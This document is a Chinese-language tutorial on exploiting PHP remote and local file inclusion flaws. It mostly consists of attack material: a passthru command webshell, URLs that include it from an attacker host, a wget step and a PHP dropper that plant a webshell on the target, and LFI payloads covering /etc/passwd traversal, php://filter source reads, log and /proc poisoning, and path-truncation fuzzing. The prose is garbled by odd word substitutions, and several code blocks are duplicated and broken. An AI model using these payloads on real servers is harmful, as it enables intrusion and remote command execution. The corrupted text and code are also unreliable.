1、甚么才是”長(zhǎng)途文件包含縫隙”?
答復(fù)是:辦事器經(jīng)由過程php的特點(diǎn)(函數(shù))往包含肆意文件時(shí),因?yàn)橐倪@個(gè)文件來歷過濾不嚴(yán),從而可以往包含一個(gè)歹意文件,而我們可以機(jī)關(guān)這個(gè)歹意文件來達(dá)到***的目標(biāo)。
觸及到的危險(xiǎn)函數(shù):include(),require()和include_once(),require_once()
Include:包含并運(yùn)行指定文件,當(dāng)包含外部文件產(chǎn)生弊端時(shí),系統(tǒng)給出警告,但全部php文件繼續(xù)履行。
Require:跟include獨(dú)一不合的是,當(dāng)產(chǎn)生弊端時(shí)辰,include下面繼續(xù)運(yùn)行而require遏制運(yùn)行了。
Include_once:這個(gè)函數(shù)跟include函數(shù)感化幾近不異,只是他在導(dǎo)進(jìn)函數(shù)之前先檢測(cè)下該文件是不是被導(dǎo)進(jìn)。假定已履行一遍那么就不反復(fù)履行了。
Require_once:這個(gè)函數(shù)跟require的辨別 跟上面我所講的include和include_once是一樣的。所以我就不反復(fù)了。
php.ini建設(shè)文件:allow_url_fopen=off 即不成以包含長(zhǎng)途文件。Php4存在長(zhǎng)途&本地,php5僅存在本地包含。
2、為甚么要包含文件?
法度員寫法度的時(shí)辰,不喜好干一樣的工作,也不喜好把一樣的代碼(好比一些公用的函數(shù))寫幾回,因而就把需要公用的代碼寫在一個(gè)伶仃的文件里面,比 如 share.php,而后在其它文件進(jìn)行包含調(diào)用。在php里,我們就是利用上面列舉的那幾個(gè)函數(shù)來達(dá)到這個(gè)目標(biāo)的,它的工作流程:假定你想 在 main.php里包含share.php,我將如許寫include(“share.php”)就達(dá)到目標(biāo),然后便可利用share.php中的 函數(shù)了,像這個(gè)寫死需要包含的文件名稱的天然沒有甚么標(biāo)題問題,也不會(huì)呈現(xiàn)縫隙,那么標(biāo)題問題事實(shí)是出在哪里呢?
有的時(shí)辰可能不克不及肯定需要包含哪個(gè)文件,好比先來看下面這個(gè)文件index.php的代碼:
if ($_GET[page]) {
include $_GET[page];
} else {
include ”home.php”;
}
很正常的一段PHP代碼,它是如何運(yùn)作的呢?
上面這段代碼的利用格局多是如許的:
http://hi.百度.com/m4r10/php/index.php?page=main.php或
http://hi.百度.com/m4r10/php/index.php?page=downloads.php
連絡(luò)上面代碼,簡(jiǎn)單說下如何運(yùn)作的:
1.提交上面這個(gè)URL,在index.php中就獲得這個(gè)page的值($_GET[page])。
2.鑒定$_GET[page]是不是是空,若不空(這里是main.php)就用include來包含這個(gè)文件。
3.若$_GET[page]空的話就履行else,來 include ”home.php” 這個(gè)文件。
3、為甚么會(huì)產(chǎn)生縫隙?
你或許要說,如許很好呀,可以遵循URL來動(dòng)態(tài)包含文件,多么便利呀,如何產(chǎn)生縫隙的呢?標(biāo)題問題標(biāo)謎底是:我們不乖巧,我們總喜好和他人不一樣,我們 不會(huì)遵循他的鏈接來把持,我們可能想本身寫想包含(調(diào)用)的文件,好比我們會(huì)隨便的打進(jìn)下面這個(gè)URL:http: //hi.百度.com /m4r10/php/index.php?page=hello.php。然后我們的index.php法度就傻傻遵循上面我們說得步調(diào)往履行:取 page為hello.php,然后往include(hello.php),這時(shí)候標(biāo)題問題呈現(xiàn)了,因?yàn)槲覀儾]有hello.php這個(gè)文件,所以 它 include的時(shí)辰就會(huì)報(bào)警告,近似以下信息:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3
寄望上面的阿誰Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因?yàn)榍懊鏇]有找到指定文件,所以包含的時(shí)辰就出警告了。
4、若何操縱?
上面可以看到,標(biāo)題問題呈現(xiàn)了,那么我們?nèi)绾尾倏v如許的縫隙呢,操縱編制其實(shí)良多,可是本色上都是差不多的,我這里說三個(gè)比較常見的操縱編制:
1.包含讀出方針機(jī)上其它文件
由前面我們可以看到,因?yàn)閷?duì)獲得的參數(shù)page沒有過濾,因而我們可以肆意指定方針主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到透露的盡對(duì)路徑(vhost/wwwroot/php/),那么我們便可以多次探測(cè)來包含其它文件,好比指定URL為:http://hi.百度.com /m4r10/php/index.php?page=./txt.txt可以讀出當(dāng)前路徑下的txt.txt文件,也可利用../../進(jìn)行目次跳轉(zhuǎn) (在沒過濾../的環(huán)境下);也能夠直接指定盡對(duì)路徑,讀取敏感的系統(tǒng)文件,好比這個(gè)URL:http://hi.百度.com/m4r10 /php/index.php?page=/etc/passwd,假定方針主機(jī)沒有對(duì)權(quán)限限制的很嚴(yán)格,或啟動(dòng)Apache的權(quán)限比較高,是可以讀出 這個(gè)文件內(nèi)容的。不然就會(huì)獲得一個(gè)近似于:open_basedir restriction in effect.的Warning(這里是因?yàn)閍pache的open_basedir中限制了拜候目次)。
2.長(zhǎng)途文件包含可運(yùn)行的PHP木馬
假定方針主機(jī)的”allow_url_fopen”是激活的(默許是激活的,沒幾小我會(huì)點(diǎn)竄),我們便可以有更大年夜的操縱空間,我們可以指定其它 URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行,好比,我先寫一段運(yùn)行號(hào)令的PHP代碼,以下保留為cmd.txt(后綴不首要,只要內(nèi)容為 PHP格局便可以了)。
if (get_magic_quotes_gpc()){
$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //往掉落轉(zhuǎn)義字符(可往掉落字符串中的反斜線字符)
ini_set(“max_execution_time”,0); //設(shè)定針對(duì)這個(gè)文件的履行時(shí)候,0為不限制.
echo ”M4R10開端行”; //打印的返回的開端行提示信息
passthru($_REQUEST["cmd"]); //運(yùn)行cmd指定的號(hào)令
echo ”M4R10結(jié)束行”; //打印的返回的結(jié)束行提示信息
>
以上這個(gè)文件的感化就是接管cmd指定的號(hào)令,并調(diào)用passthru函數(shù)履行,把內(nèi)容返回在M4R10開端行與M4R10結(jié)束行之間。把這個(gè)文件 保留到我們主機(jī)的辦事器上(可所以不撐持PHP的主機(jī)),只要能經(jīng)由過程HTTP拜候到便可以了,例如地址以下:http://www.***.cn/cmd.txt,然后我們便可以在阿誰縫隙主機(jī)上機(jī)關(guān)以下URL來操縱了:
http://hi.百度.com/m4r10/php /index.php?page=http://www.***.cn/cmd.txt?cmd=ls
此中cmd后面的就是你需要履行的號(hào)令,其它常 用的號(hào)令(以*UNIX為例)以下:
ll 列目次、文件(相當(dāng)于Windows下dir)
pwd 查看當(dāng)前盡對(duì)路徑
id whoami 查看當(dāng)前用戶
wget 下載指定URL的文件
等等其它的,你主機(jī)往BAIDU找吧,就不列舉了。
3.包含一個(gè)成立文件的PHP文件(常常利用)
或許有的人覺得仍是獲得方針機(jī)上的一個(gè)真實(shí)的Webshell比較安心,萬一哪天人家發(fā)現(xiàn)這兒個(gè)包含縫隙修補(bǔ)了,我們就不克不及再長(zhǎng)途包含獲得上面的那 個(gè)” 偽”Webshell了,不是么?可以理解這個(gè)心態(tài),我們繼續(xù)。獲得一個(gè)真實(shí)的Webshell,我們也說兩種常見的編制:
1)利用wget之類的號(hào)令來下載一個(gè)Webshell
這個(gè)比較簡(jiǎn)單,也很常常利用,在上面我們獲得的阿誰偽webshell中,我們可以履行號(hào)令,那么我們也能夠調(diào)用系統(tǒng)中的一個(gè)很短長(zhǎng)的角色,wget, 這個(gè)號(hào)令的強(qiáng)大年夜你可以谷歌下,參數(shù)一大年夜堆,盡對(duì)弄暈?zāi)?,呵呵,我們不需要那么?fù)雜,我們就利用一個(gè) -O(–output- document=FILE,把文檔寫到FILE文件中) 便可以了,呵呵。
前提是你在遵循前面的步調(diào)放一個(gè)包含PHP代碼的Webshell在一個(gè)可以經(jīng)由過程HTTP或FTP等可以拜候的處所,比 如:http://www.***.cn/m4r10.txt,這個(gè)文件里寫的就是Webshell的內(nèi)容。然后我們?cè)谇懊娅@得的偽 Webshell中 履行以下的URL:
http://hi.百度.com/m4r10/php/index.php?page=http://www.***.cn /cmd.txt?cmd=wget http://www.***.cn/m4r10.txt -O m4r10.php
假定當(dāng)前目次可寫,就可以獲得 一個(gè)叫做m4r10.php的Webshell了,假定當(dāng)前目次不成寫,還需要想其它的編制。
2)利用文件來成立
前面的wget可能會(huì)碰著當(dāng)前目次不克不及寫的環(huán)境;或方針主機(jī)禁用了(或沒裝)這個(gè)號(hào)令,我們又需要變通一下了,我們可以連絡(luò)前面的包含文件縫隙來包含一個(gè)成立文件(寫文件)的PHP腳本,內(nèi)容以下:
$f=file_get_contents(“http://www.***.cn/m4r10.txt”); //打開指定路徑的文件流
$ff=fopen(“./upload/m4r10.php”,”a”); //尋覓一個(gè)可以的目次,成立一個(gè)文件
fwrite ($ff,$f); //把前面打開的文件流寫到成立的文件里
fclose($ff); //封鎖保留文件
?> $f=file_get_contents(“http://www.***.cn/m4r10.txt”); //打開指定路徑的文件流
$ff=fopen(“./upload/m4r10.php”,”a”); //尋覓一個(gè)可以的目次,成立一個(gè)文件
fwrite ($ff,$f); //把前面打開的文件流寫到成立的文件里
fclose($ff); //封鎖保留文件
> $f=file_get_contents(“http://www.***.cn/m4r10.txt”); //打開指定路徑的文件流
$ff=fopen(“./upload/m4r10.php”,”a”); //尋覓一個(gè)可以的目次,成立一個(gè)文件
fwrite ($ff,$f); //把前面打開的文件流寫到成立的文件里
fclose($ff); //封鎖保留文件
>
仍是寫進(jìn)我們上面用wget下載的阿誰php文件,可是我們改進(jìn)了編制,用PHP腳本來實(shí)現(xiàn),可利用上面的cmd.php?cmd=ll查找可以 寫的目次,好比這里的upload,然后把文件成立在這個(gè)目次下:./upload/m4r10.php。然后就獲得我們的Webshell了。
4.本地文件包含(常常利用)
典型的縫隙代碼:
include($_GET['pages'].‘.php’);
?> include($_GET['pages'].‘.php’);
> include($_GET['pages'].‘.php’);
>
黑盒鑒定編制:
純真的從URL鑒定的話,URL中path、dir、file、pag、page、archive、p、eng、說話文件等相干關(guān)頭字眼的時(shí)辰,可能存在文件包含縫隙。
本地包含縫隙的操縱(這里先忽視截?cái)鄻?biāo)題問題,下面會(huì)將截?cái)嗟木幹?
1、包含同辦事器中上傳的jpg、txt、rar等文件,這個(gè)是最抱負(fù)的環(huán)境了。
2、包含系統(tǒng)的各類日記,如apache日記,文件系統(tǒng)日記等 此中apache當(dāng)記實(shí)格局為combined,一般日記城市很大年夜,根基沒法包含成功。包含log是有主動(dòng)化報(bào)復(fù)打擊法度的。
此中鬼子的博客中有提到一個(gè)空格的標(biāo)題問題。見:《***的空格-PHP本地文件包含縫隙的新沖破口》http://huaidan.org/archives/1144.html
解決空格標(biāo)題問題其實(shí)把一句話base64加密后再寫進(jìn)便可以履行了。
3、包含 /proc/self/environ . 這個(gè)環(huán)境變量有拜候web的session信息和包含user-agent的參數(shù)。user-agent在客戶端是可以點(diǎn)竄的。參考:《Shell via LFI – proc/self/environ method》
http://hi.百度.com/root_exp/blog/item/9c0571fc2d42664fd7887d7d.html
4、包含由php法度本身生成的文件,緩存、模版等,開源的法度成功率大年夜。
5、操縱本地包含讀取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源碼以下:
index.php?pages=php://filter/read=convert.base64-encode/resource=config
出格的環(huán)境用到readfile() 函數(shù)不是包含履行,可以直接讀源碼。
6、操縱phpinfo頁面getshell。一般大年夜組織的web群存在phpinfo的機(jī)緣挺大年夜的。
poc和介紹參考:
《操縱phpinfo信息LFI姑且文件》
http://hi.百度.com/idwar/blog/item/43101de153370126279791f2.html
7、操縱包含犯錯(cuò),或包含有未初始化變量的PHP文件,只要變量未初始化便可能再次報(bào)復(fù)打擊 具體見:
《include()本地文件包含縫隙隨想》
http://www.2cto.com/Article/200809/29748.html
8、連絡(luò)跨站利用
index.php?pages=http://127.0.0.1/path/xss.php?xss=phpcode (要考慮域信賴標(biāo)題問題)
9、包含姑且文件文件。這個(gè)別例很麻煩的。參考:
《POST method uploads》
http://www.php.net/manual/en/features.file-upload.post-method.php
解決姑且文件刪除編制:慢連接 (注:前提是 file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默許最大年夜一次上傳20個(gè))
windows格局:win下最長(zhǎng)4個(gè)隨機(jī)字符( ‘a(chǎn)’-’z’, ‘A’-’Z’, ’0′-’9′)如: c:/windows/temp/php3e.tmp
linux格局:6個(gè)隨機(jī)字符( ‘a(chǎn)’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA
慢連接的兩種上傳代碼參考:
《PHP安然之LFI縫隙GetShell編制大年夜閱兵》
http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
10、當(dāng)前其實(shí)找不到寫權(quán)限目次時(shí)辰,注進(jìn)到log中再尋覓寫權(quán)限目次。如注進(jìn)到log.
Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
具體參考《PHP本地文件包含(LFI)縫隙操縱》
http://kingbase.org/blog/php_local_file_inclusion_exploit
11、利用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0-and-allow_url_include.html 此中文中提到的allow_url_fopen和allow_url_include只是呵護(hù)了against URL handles標(biāo)識(shí)表記標(biāo)幟為URL.這影響了http(s) and ftp(s)可是并沒有影響php或date 這些url情勢(shì)。
12、LFI鑒定目次是不是存在和列目次,如
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**這個(gè)別例在TTYshell上是可以美滿是可以鑒定的,可是在URL上有時(shí)辰不成行。即便不存在dossierexistant也能夠回顯passwd內(nèi)容。
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**FreeBSD 《directory listing with PHP file functions》http://websec…ress.com/2009 …php-file-functions/ 列目次
**存在邏輯鑒定的時(shí)辰,如不存在該目次就會(huì)返回header.php+File not found+footer.php 存在就會(huì)返回header.php+footer.php。這類邏輯很合適法度員的習(xí)慣。曾用找到了一個(gè)目次很深的日記獲得shell。
13、包含SESSION文件,php保留格局 sess_SESSIONID 默許位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、 /var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
14、包含 /proc/self/cmdline 或/proc/self/fd/找到log文件 (具有者為root,默許環(huán)境要root才能拜候)
具體參考:
Local File Inclusion – 《Tricks of the Trade》
http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/
還有其他提到包含/var/log/auth.log的,可是這個(gè)文件默許環(huán)境也是644.
15、包含maillog 凡是位置/var/log/maillog 這個(gè)別例也很雞肋,具體參考:
《local file inclusion tricks 》
鏈接找不到了
16、包含固定的文件,很是雞肋,為了完全性也提下。如:可用中間人報(bào)復(fù)打擊。
沖破限制截?cái)嗪竺娴淖址寄?/P>
操縱本地包含經(jīng)常常需要用%00來截?cái)嗪竺娴淖址?,但在GPC為ON時(shí)%00是會(huì)被轉(zhuǎn)義的,那么還有其他編制么?
用必然命目標(biāo)/沖破把持系統(tǒng)對(duì)文件名的長(zhǎng)度限制來截?cái)嗪竺娴淖址?猜測(cè)相對(duì)路徑可用)
看縫隙代碼:
$webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i< $webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i< $webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i<1000;$i++){
$filepath .= '.';
}
include $webpath.$filepath.".php";
>
test.txt 代碼:
成果截?cái)嗟魯?,改下代碼:
$webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i< $webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i< $webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i<1000;$i++){
$filepath .= '.';
}
include $filepath.".php"; //相對(duì)路徑
>
此次成功。
以上是windows下的編制,其實(shí)linux也能夠:
$a='';
for($i=0;$i< $a='';
for($i=0;$i< $a='';
for($i=0;$i<=4071;$i++) {
$a .= '/';
}
$a = 'test.txt'.$a; //完全的路徑為/var/www/test/test.txt
require_once($a.'.php');
>
include截?cái)?/P>
include $_GET['action'].".php";
?> include $_GET['action'].".php";
> include $_GET['action'].".php";
>
提交“action=/etc/passwd%00”中的“%00”將截?cái)嗪竺娴摹?php”,可是除“%00”還有沒有其他的字符可以實(shí)現(xiàn)截?cái)嗬媚兀?/P>
必定有人想到了長(zhǎng)途包含的url里問號(hào)“?”的感化,經(jīng)由過程提交“action=http://www.hacksite.com/evil-code.txt?”這里“?”實(shí)現(xiàn)了“偽截?cái)唷保?,好象這個(gè)看上往不是那么舒暢那么我們簡(jiǎn)單寫個(gè)代碼fuzz一下:
////////////////////
////var5.php代碼:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i< ////////////////////
////var5.php代碼:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i< ////////////////////
////var5.php代碼:
////include $_GET['action'].".php";
////print strlen(realpath("./"))+strlen($_GET['action']);
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代碼為print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
>
顛末測(cè)試字符“.”、“ /”或2個(gè)字符的組合,在必然的長(zhǎng)度時(shí)將被截?cái)?,win系統(tǒng)和*nix的系統(tǒng)長(zhǎng)度不一樣,當(dāng)win下strlen(realpath("./"))+strlen($_GET['action'])的長(zhǎng)度大年夜于256時(shí)被截?cái)?,?duì)*nix的長(zhǎng)度是4 * 1024 = 4096。對(duì)php.ini里設(shè)置長(zhǎng)途文件封鎖的時(shí)辰便可以操縱上面的技能包含本地文件了。(此縫隙由cloie#ph4nt0m.org最早發(fā)現(xiàn)])